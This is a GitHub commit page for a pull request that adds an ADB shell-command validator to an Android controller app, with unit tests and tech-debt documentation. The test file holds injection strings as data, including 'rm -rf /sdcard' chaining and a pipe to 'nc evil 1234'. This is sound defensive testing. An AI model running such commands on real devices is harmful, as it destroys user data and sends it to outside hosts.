Skip to content

Commit 07f24f1

Browse files
luisguzman-adfaluisguzman-adfa
authored
Merge pull request #28 from appdevforall/fix/phase1-security-s4-adb-command
fix(controller): validate ADB shell commands to close arbitrary-shell (S4)
2 parents 76ca7d4 + e52198c commit 07f24f1

5 files changed

Lines changed: 145 additions & 1 deletion

File tree

‎CLAUDE.md‎

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -184,6 +184,15 @@ backup is untrusted; `TarExtractor` extracted without validating member names.
184184
before extracting if any member escapes; the backup-creation `sh -c` pipe was
185185
single-quoted. Applies to all extractions.
186186

187+
**Slice (DONE) — ADB command guard (`org.iiab.controller.adb.domain`)**
188+
Phase-1 security slice closing tech-debt **S4** (arbitrary on-device shell via ADB).
189+
190+
- `domain/` — `AdbShellCommand.isSafe(command)` (pure JVM): rejects shell
191+
metacharacters / control chars so only a single self-contained command runs.
192+
Unit-tested (`AdbShellCommandTest`).
193+
- **Legacy seam:** `IIABAdbManager.executeCommand` validates and fails closed
194+
before opening the `shell:` stream.
195+
187196
**Legacy (NOT yet layered)** — most of `org.iiab.controller` is still flat:
188197
god classes `MainActivity` and `DeployFragment` (~2.7k LOC), shared mutable
189198
state on public/static fields, hand-rolled `HttpURLConnection` calls duplicated

‎controller/app/src/main/java/org/iiab/controller/IIABAdbManager.java‎

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -9,6 +9,8 @@
99

1010
package org.iiab.controller;
1111

12+
import org.iiab.controller.adb.domain.AdbShellCommand;
13+
1214
import android.content.Context;
1315
import android.os.Build;
1416
import android.security.keystore.KeyGenParameterSpec;
@@ -199,6 +201,12 @@ public void checkSystemRestrictions(Context context) {
199201

200202
// Execute shell commands seamlessly
201203
public void executeCommand(String command) {
204+
// S4: this runs as an on-device shell over ADB. Reject anything that
205+
// could chain/substitute extra commands; fail closed without executing.
206+
if (!AdbShellCommand.isSafe(command)) {
207+
Log.e(TAG, "Refusing to run unsafe ADB shell command: " + command);
208+
return;
209+
}
202210
new Thread(() -> {
203211
try (io.github.muntashirakon.adb.AdbStream stream = this.openStream("shell:" + command)) {
204212
java.io.InputStream is = stream.openInputStream();

‎controller/app/src/main/java/org/iiab/controller/adb/domain/AdbShellCommand.java‎

Lines changed: 71 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,71 @@
1+
/*
2+
* ============================================================================
3+
* Name : AdbShellCommand.java
4+
* Author : IIAB Project
5+
* Copyright : Copyright (c) 2026 IIAB Project
6+
* Description : Domain rule: is a string safe to run as a single ADB "shell:"
7+
* command, i.e. it cannot chain/substitute extra commands.
8+
* Closes tech-debt item S4 (arbitrary on-device shell).
9+
* ============================================================================
10+
*/
11+
package org.iiab.controller.adb.domain;
12+
13+
/**
14+
* Pure (framework-free) guard for strings passed to
15+
* {@code IIABAdbManager.executeCommand}, which runs them as
16+
* {@code openStream("shell:" + command)} — an on-device shell over ADB.
17+
*
18+
* <p>Today the callers pass fixed, app-controlled commands, but the method
19+
* accepts any string; a value containing shell metacharacters ({@code ; | & $}
20+
* {@code ( ) < >}, backticks, quotes, newlines) could chain or substitute extra
21+
* commands run with ADB privileges — tech-debt item <b>S4</b>.
22+
*
23+
* <p>This rejects those metacharacters so only a single, self-contained command
24+
* (e.g. {@code settings put global <key> <value>}) can run. It does not try to
25+
* be a full shell parser; it fails closed on anything that could break out.
26+
* No {@code android.*}, so it is unit-testable on a plain JVM.
27+
*/
28+
public final class AdbShellCommand {
29+
30+
private AdbShellCommand() {
31+
// Static utility; not instantiable.
32+
}
33+
34+
/**
35+
* True if {@code command} is safe to run as a single ADB shell command:
36+
* non-empty and free of shell control/substitution/redirection/quote
37+
* characters and control characters. Normal tokens (letters, digits, spaces,
38+
* and {@code / . - _ = : ,}) are allowed.
39+
*/
40+
public static boolean isSafe(String command) {
41+
if (command == null || command.trim().isEmpty()) {
42+
return false;
43+
}
44+
for (int i = 0; i < command.length(); i++) {
45+
char c = command.charAt(i);
46+
switch (c) {
47+
case ';': // command separator
48+
case '&': // background / &&
49+
case '|': // pipe / ||
50+
case '$': // variable / $( ) substitution
51+
case '`': // backtick substitution
52+
case '(':
53+
case ')':
54+
case '<': // redirection
55+
case '>':
56+
case '\'': // quoting
57+
case '"':
58+
case '\\': // escaping
59+
case '\n':
60+
case '\r':
61+
case '\0':
62+
return false;
63+
default:
64+
if (c < 0x20) { // other control characters
65+
return false;
66+
}
67+
}
68+
}
69+
return true;
70+
}
71+
}

‎controller/app/src/test/java/org/iiab/controller/adb/domain/AdbShellCommandTest.java‎

Lines changed: 51 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,51 @@
1+
package org.iiab.controller.adb.domain;
2+
3+
import static org.junit.Assert.assertFalse;
4+
import static org.junit.Assert.assertTrue;
5+
6+
import org.junit.Test;
7+
8+
/**
9+
* Unit tests for {@link AdbShellCommand} — the S4 guard against shell-command
10+
* injection through {@code IIABAdbManager.executeCommand}.
11+
*/
12+
public class AdbShellCommandTest {
13+
14+
@Test
15+
public void acceptsTheLegitimateAppCommands() {
16+
assertTrue(AdbShellCommand.isSafe(
17+
"settings put global settings_enable_monitor_phantom_procs 0"));
18+
assertTrue(AdbShellCommand.isSafe(
19+
"device_config put activity_manager max_phantom_processes 256"));
20+
}
21+
22+
@Test
23+
public void rejectsCommandChaining() {
24+
assertFalse(AdbShellCommand.isSafe("settings put global x 0; rm -rf /sdcard"));
25+
assertFalse(AdbShellCommand.isSafe("settings put global x 0 && reboot"));
26+
assertFalse(AdbShellCommand.isSafe("settings get global x | nc evil 1234"));
27+
}
28+
29+
@Test
30+
public void rejectsSubstitutionAndRedirection() {
31+
assertFalse(AdbShellCommand.isSafe("echo $(reboot)"));
32+
assertFalse(AdbShellCommand.isSafe("echo `id`"));
33+
assertFalse(AdbShellCommand.isSafe("cat /x > /sdcard/out"));
34+
assertFalse(AdbShellCommand.isSafe("cmd < /etc/hosts"));
35+
}
36+
37+
@Test
38+
public void rejectsQuotesEscapesAndControlChars() {
39+
assertFalse(AdbShellCommand.isSafe("settings put global x '0'"));
40+
assertFalse(AdbShellCommand.isSafe("settings put global x \"0\""));
41+
assertFalse(AdbShellCommand.isSafe("settings put global x 0\\"));
42+
assertFalse(AdbShellCommand.isSafe("settings put global x 0\nreboot"));
43+
}
44+
45+
@Test
46+
public void rejectsEmptyOrNull() {
47+
assertFalse(AdbShellCommand.isSafe(null));
48+
assertFalse(AdbShellCommand.isSafe(""));
49+
assertFalse(AdbShellCommand.isSafe(" "));
50+
}
51+
}

‎controller/docs/TECH_DEBT_PLAN.md‎

Lines changed: 6 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -71,7 +71,12 @@ _Last updated: 2026-06-17. Tracks remediation work against the findings below. I
7171
- `TarExtractor` now **pre-lists** entries (`tar -t`, gzip decompressed in Java) and **fails closed** if any member escapes — for *every* extraction (the verified rootfs install included, defense in depth). Also single-quoted the paths in the backup-creation `sh -c` pipe (the "unquoted backup pipe" half of D11).
7272
- Verify on a real install/restore that legitimate rootfs/backup members are relative (they are by convention) so the guard does not false-positive.
7373

74-
**Phase 1 — Security hardening: IN PROGRESS.** Done so far: **S1** (PR #9), **M4** (PR #10), **D6** (PR #12), **D2** (PR #13), **D12** (PR #16), **D11** (PR #15). **S3 reverted** (see above). Remaining: **S4**, **F15**.
74+
**S4 — Arbitrary ADB shell command (Phase 1 security): DONE** (PR `fix/phase1-security-s4-adb-command`)
75+
- Closes **S4**: `IIABAdbManager.executeCommand` ran `openStream("shell:" + command)` — an on-device shell over ADB — with no validation. Callers pass fixed commands today, but a value with shell metacharacters could chain/substitute extra commands run with ADB privileges.
76+
- New pure domain rule `org.iiab.controller.adb.domain.AdbShellCommand.isSafe(command)` (rejects `; | & $ \` ( ) < > ' " \\`, CR/LF and control chars). Unit-tested (`AdbShellCommandTest`).
77+
- `executeCommand` now fails closed (logs + does not open the stream) on an unsafe command; the two legitimate `settings put` / `device_config put` calls are unaffected.
78+
79+
**Phase 1 — Security hardening: IN PROGRESS.** Done so far: **S1** (PR #9), **M4** (PR #10), **D6** (PR #12), **D2** (PR #13), **D12** (PR #16), **D11** (PR #15). **S3 reverted** (see above), **S4**. Remaining: **F15**.
7580

7681
## 1. Executive summary
7782

0 commit comments

Comments
 (0)